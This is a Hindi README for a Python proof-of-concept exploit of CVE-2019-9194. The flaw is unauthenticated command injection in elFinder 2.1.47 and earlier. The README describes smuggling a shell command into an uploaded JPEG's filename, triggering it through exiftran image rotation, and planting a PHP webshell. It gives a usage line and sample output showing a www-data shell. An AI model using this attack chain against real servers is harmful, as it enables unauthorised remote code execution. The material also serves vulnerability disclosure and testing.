CVE-2019-9194 — elFinder कमांड इंजेक्शन (PoC)

elFinder <= 2.1.47 में PHP कनेक्टर घटक के माध्यम से कमांड इंजेक्शन भेद्यता। वेब सर्वर उपयोगकर्ता के रूप में बिना प्रमाणीकरण के रिमोट कोड निष्पादन की अनुमति देता है।

यह कैसे काम करता है

• शेल कमांड वाले दुर्भावनापूर्ण फ़ाइलनाम के साथ एक मान्य JPEG अपलोड करता है।
• इमेज रोटेशन का अनुरोध करके भेद्यता को ट्रिगर करता है, जो फ़ाइलनाम को बिना सैनिटाइज़ेशन के exiftran को पास करता है।
• इंजेक्ट किया गया कमांड सर्वर पर एक PHP वेबशेल (SecSignal.php) लिखता है।
• वेबशेल से कनेक्ट होता है और एक इंटरैक्टिव शेल में प्रवेश करता है।

आवश्यकताएँ

• Python 3
• requests लाइब्रेरी (pip install requests)
• टारगेट में exiftran स्थापित होना चाहिए और elFinder PHP कनेक्टर सक्षम होना चाहिए (connector.minimal.php)

उपयोग

python3 exploit.py http://TARGET

उदाहरण:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

संदर्भ

• CVE-2019-9194
• EDB-46481
• भेद्यता विवरण — SecSignal
• elFinder 2.1.48 रिलीज़ (फिक्स)

श्रेय

• खोज: Thomas Chauchefoin
• मूल एक्सप्लॉइट: @q3rv0
• Python 3 पोर्ट और Metasploit-शैली सुधार: Esteban Zárate